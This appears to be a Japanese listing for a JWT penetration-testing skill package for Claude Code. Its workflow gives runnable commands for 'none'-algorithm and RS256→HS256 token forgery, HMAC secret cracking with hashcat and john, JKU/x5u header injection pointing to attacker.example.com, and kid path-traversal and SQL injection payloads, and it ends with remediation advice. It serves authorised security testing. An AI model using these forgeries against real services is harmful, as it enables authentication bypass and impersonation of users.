testing-jwt-token-security について
API、SSO、マイクロサービス認証を扱う、許可を得たペネトレーションテスターやセキュリティ監査担当者向けの JWT テストスキルです。トークンの確認、署名・クレームへの攻撃テスト、有効期限と失効の検証を扱います。
主な機能
- 01JWT 構造のデコードと確認
- 02none アルゴリズムとアルゴリズム混同のテスト
- 03HMAC シークレットの総当たり試行
- 04クレーム改ざんとインジェクションのテスト
- 05トークンの有効期限と失効の確認
活用シーン
- 01JWT を使う API のセキュリティ評価
- 02SSO トークン検証設定のテスト
- 03マイクロサービス間の JWT 認証監査
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill testing-jwt-token-securityインストール後、Claude Code で/testing-jwt-token-securityを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEreferences/api-reference.mdscripts/agent.py詳細
JWT トークンのセキュリティテスト
使用する場面
- アプリケーションが認証または認可に JWT を使用している場合の、許可を得たペネトレーションテスト
- JWT が Bearer トークンまたは Cookie で渡される場合の API セキュリティ評価
- JWT/JWS/JWE トークンを使用する SSO 実装の評価
- JWT を発行する OAuth 2.0 または OpenID Connect フローのテスト
- サービス間認証に JWT を使用するマイクロサービスアーキテクチャのセキュリティ監査
前提条件
- 許可:対象に対する書面によるペネトレーションテスト契約
- jwt_tool:JWT 攻撃ツールキット(
pip install jwt_toolまたはgit clone https://github.com/ticarpi/jwt_tool.git) - Burp Suite Professional:BApp Store の JSON Web Token 拡張機能を使用
- Python PyJWT:カスタム JWT 攻撃のスクリプト作成用(
pip install pyjwt) - Hashcat:HMAC シークレットのブルートフォース用(
apt install hashcat) - jq:JSON 処理用
- 対象 JWT:アプリケーションから取得した有効な JWT トークン
ワークフロー
ステップ 1:JWT の構造をデコードして分析する
ヘッダー、ペイロード、署名の各要素を抽出して調べます。
# Decode JWT parts (base64url decode)
JWT="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
# Decode header
echo "$JWT" | cut -d. -f1 | base64 -d 2>/dev/null | jq .
# Output: {"alg":"HS256","typ":"JWT"}
# Decode payload
echo "$JWT" | cut -d. -f2 | base64 -d 2>/dev/null | jq .
# Output: {"sub":"1234567890","name":"John Doe","iat":1516239022}
# Using jwt_tool for comprehensive analysis
python3 jwt_tool.py "$JWT"
# Check for sensitive data in the payload:
# - PII (email, phone, address)
# - Internal IDs or database references
# - Role/permission claims
# - Expiration times (exp, nbf, iat)
# - Issuer (iss) and audience (aud)
ステップ 2:アルゴリズム none 攻撃をテストする
アルゴリズムを「none」に設定して、トークンの偽造を試みます。
# jwt_tool algorithm none attack
python3 jwt_tool.py "$JWT" -X a
# Manual none algorithm attack
# Create header: {"alg":"none","typ":"JWT"}
HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '+/' '-_')
# Create modified payload (change role to admin)
PAYLOAD=$(echo -n '{"sub":"1234567890","name":"John Doe","role":"admin","iat":1516239022}' | base64 | tr -d '=' | tr '+/' '-_')
# Construct token with empty signature
FORGED_JWT="${HEADER}.${PAYLOAD}."
echo "Forged JWT: $FORGED_JWT"
# Test the forged token
curl -s -H "Authorization: Bearer $FORGED_JWT" \
"https://target.example.com/api/admin/users" | jq .
# Try variations: "None", "NONE", "nOnE"
for alg in none None NONE nOnE; do
HEADER=$(echo -n "{\"alg\":\"$alg\",\"typ\":\"JWT\"}" | base64 | tr -d '=' | tr '+/' '-_')
FORGED="${HEADER}.${PAYLOAD}."
echo -n "alg=$alg: "
curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer $FORGED" \
"https://target.example.com/api/admin/users"
echo
done
ステップ 3:アルゴリズムの混同をテストする(RS256 から HS256)
サーバーが RS256 を使用している場合、HS256 に切り替え、公開鍵で署名することを試みます。
# Step 1: Obtain the server's public key
# Check common locations
curl -s "https://target.example.com/.well-known/jwks.json" | jq .
curl -s "https://target.example.com/.well-known/openid-configuration" | jq .jwks_uri
curl -s "https://target.example.com/oauth/certs" | jq .
# Step 2: Extract public key from JWKS
# Save the JWKS and convert to PEM format
# Use jwt_tool or openssl
# Step 3: jwt_tool key confusion attack
python3 jwt_tool.py "$JWT" -X k -pk public_key.pem
# Manual algorithm confusion attack with Python
python3 << 'PYEOF'
import jwt
import json
# Read the server's RSA public key
with open('public_key.pem', 'r') as f:
public_key = f.read()
# Create forged payload
payload = {
"sub": "1234567890",
"name": "Admin User",
"role": "admin",
"iat": 1516239022,
"exp": 9999999999
}
# Sign with HS256 using the RSA public key as the HMAC secret
forged_token = jwt.encode(payload, public_key, algorithm='HS256')
print(f"Forged token: {forged_token}")
PYEOF
# Test the forged token
curl -s -H "Authorization: Bearer $FORGED_TOKEN" \
"https://target.example.com/api/admin/users"
ステップ 4:HMAC シークレットをブルートフォースする
HS256 が使用されている場合、署名シークレットの解読を試みます。
# Using jwt_tool with common secrets
python3 jwt_tool.py "$JWT" -C -d /usr/share/wordlists/rockyou.txt
# Using hashcat for GPU-accelerated cracking
# Mode 16500 = JWT (HS256)
hashcat -a 0 -m 16500 "$JWT" /usr/share/wordlists/rockyou.txt
# Using john the ripper
echo "$JWT" > jwt_hash.txt
john jwt_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256
# If secret is found, forge arbitrary tokens
python3 << 'PYEOF'
import jwt
secret = "cracked_secret_here"
payload = {
"sub": "1",
"name": "Admin",
"role": "admin",
"exp": 9999999999
}
token = jwt.encode(payload, secret, algorithm='HS256')
print(f"Forged token: {token}")
PYEOF
ステップ 5:JWT クレームの改ざんとインジェクションをテストする
JWT クレームを変更して、権限を昇格させるか認可を回避します。
# Using jwt_tool for claim tampering
# Change role claim
python3 jwt_tool.py "$JWT" -T -S hs256 -p "known_secret" \
-pc role -pv admin
# Test common claim attacks:
# 1. JKU (JWK Set URL) injection
python3 jwt_tool.py "$JWT" -X s -ju "https://attacker.example.com/jwks.json"
# Host attacker-controlled JWKS at the URL
# 2. KID (Key ID) injection
# SQL injection in kid parameter
python3 jwt_tool.py "$JWT" -I -hc kid -hv "../../dev/null" -S hs256 -p ""
# If kid is used in file path lookup, point to /dev/null (empty key)
# SQL injection via kid
python3 jwt_tool.py "$JWT" -I -hc kid -hv "' UNION SELECT 'secret' --" -S hs256 -p "secret"
# 3. x5u (X.509 URL) injection
python3 jwt_tool.py "$JWT" -X s -x5u "https://attacker.example.com/cert.pem"
# 4. Modify subject and role claims
python3 jwt_tool.py "$JWT" -T -S hs256 -p "secret" \
-pc sub -pv "[email protected]" \
-pc role -pv "superadmin"
ステップ 6:トークンの有効期間と失効をテストする
トークンの有効期限の適用と失効機能を評価します。
# Test expired token acceptance
python3 << 'PYEOF'
import jwt
import time
secret = "known_secret"
# Create token that expired 1 hour ago
payload = {
"sub": "user123",
"role": "user",
"exp": int(time.time()) - 3600,
"iat": int(time.time()) - 7200
}
expired_token = jwt.encode(payload, secret, algorithm='HS256')
print(f"Expired token: {expired_token}")
PYEOF
curl -s -H "Authorization: Bearer $EXPIRED_TOKEN" \
"https://target.example.com/api/profile" -w "%{http_code}"
# Test token with far-future expiration
python3 << 'PYEOF'
import jwt
secret = "known_secret"
payload = {
"sub": "user123",
"role": "user",
"exp": 32503680000 # Year 3000
}
long_lived = jwt.encode(payload, secret, algorithm='HS256')
print(f"Long-lived token: {long_lived}")
PYEOF
# Test token reuse after logout
# 1. Capture JWT before logout
# 2. Log out (call /auth/logout)
# 3. Try using the captured JWT again
curl -s -H "Authorization: Bearer $PRE_LOGOUT_TOKEN" \
"https://target.example.com/api/profile" -w "%{http_code}"
# If 200, tokens are not revoked on logout
# Test token reuse after password change
# Similar test: capture JWT, change password, reuse old JWT
主な概念
| 概念 | 説明 |
|---|---|
| アルゴリズム none 攻撃 | alg を none に設定し、署名検証を無効化すること |
| アルゴリズムの混同 | RS256 から HS256 に切り替え、公開鍵を HMAC シークレットとして署名すること |
| HMAC ブルートフォース | ワードリストまたはブルートフォースを使って、弱い HS256 署名シークレットを解読すること |
| JKU/x5u インジェクション | JWT ヘッダーの URL を攻撃者が制御する鍵サーバーに向けること |
| KID インジェクション | Key ID ヘッダーのパラメーターにおける SQL インジェクションまたはパストラバーサルを悪用すること |
| クレームの改ざん | 署名鍵を侵害した後に、ペイロードのクレーム(role、sub、permissions)を変更すること |
| トークンの失効 | 有効期限前にトークンを無効化する機能(またはその機能がないこと) |
| JWE と JWS | JSON Web Encryption(機密性)と JSON Web Signature(完全性) |
ツールとシステム
| ツール | 目的 |
|---|---|
| jwt_tool | 自動攻撃モジュールを備えた包括的な JWT テストツールキット |
| Burp JWT Editor | JWT をリアルタイムで操作するための Burp Suite 拡張機能 |
| Hashcat | GPU アクセラレーションを利用した HMAC シークレットのブルートフォース(モード 16500) |
| John the Ripper | CPU ベースの JWT シークレット解読 |
| PyJWT | JWT のプログラムによる作成と操作のための Python ライブラリ |
| jwt.io | 手早い分析に使えるオンライン JWT デコーダー(本番環境のトークンを貼り付けないでください) |
よくあるシナリオ
シナリオ 1:アルゴリズム none による回避
JWT ライブラリが "alg":"none" トークンを受け入れるため、署名を削除してアルゴリズムヘッダーを変更するだけで、任意のユーザーが管理者トークンを偽造できます。
シナリオ 2:弱い HMAC シークレット
アプリケーションが署名シークレットとして辞書に載っている単語を使い、HS256 を使用しています。Hashcat を使えば数分でシークレットを解読でき、トークンの完全な偽造や管理者へのなりすましが可能になります。
シナリオ 3:SSO におけるアルゴリズムの混同
SSO プロバイダーは RS256 を使用していますが、コンシューマーアプリケーションも HS256 を受け入れています。攻撃者は、公開されている RSA 公開鍵を使って HS256 で偽造トークンに署名します。
シナリオ 4:KID における SQL インジェクション
kid ヘッダーのパラメーターが、署名鍵を検索する SQL クエリで使用されています。' UNION SELECT 'attacker_secret' -- をインジェクションすると、攻撃者が署名鍵を制御できます。
出力形式
## JWT Security Finding
**Vulnerability**: JWT Algorithm Confusion (RS256 to HS256)
**Severity**: Critical (CVSS 9.8)
**Location**: Authorization header across all API endpoints
**OWASP Category**: A02:2021 - Cryptographic Failures
### JWT Configuration
| Property | Value |
|----------|-------|
| Algorithm | RS256 (also accepts HS256) |
| Issuer | auth.target.example.com |
| Expiration | 24 hours |
| Public Key | Available at /.well-known/jwks.json |
| Revocation | Not implemented |
### Attacks Confirmed
| Attack | Result |
|--------|--------|
| Algorithm None | Blocked |
| Algorithm Confusion (RS256→HS256) | VULNERABLE |
| HMAC Brute Force | N/A (RSA) |
| KID Injection | Not present |
| Expired Token Reuse | Accepted (no revocation) |
### Impact
- Complete authentication bypass via forged admin tokens
- Any user can escalate to any role by forging JWT claims
- Tokens remain valid after logout (no server-side revocation)
### Recommendation
1. Enforce algorithm allowlisting on the server side (reject unexpected algorithms)
2. Use asymmetric algorithms (RS256/ES256) with proper key management
3. Implement token revocation via a blocklist or short expiration with refresh tokens
4. Validate all JWT claims server-side (iss, aud, exp, nbf)
5. Use a minimum key length of 256 bits for HMAC secrets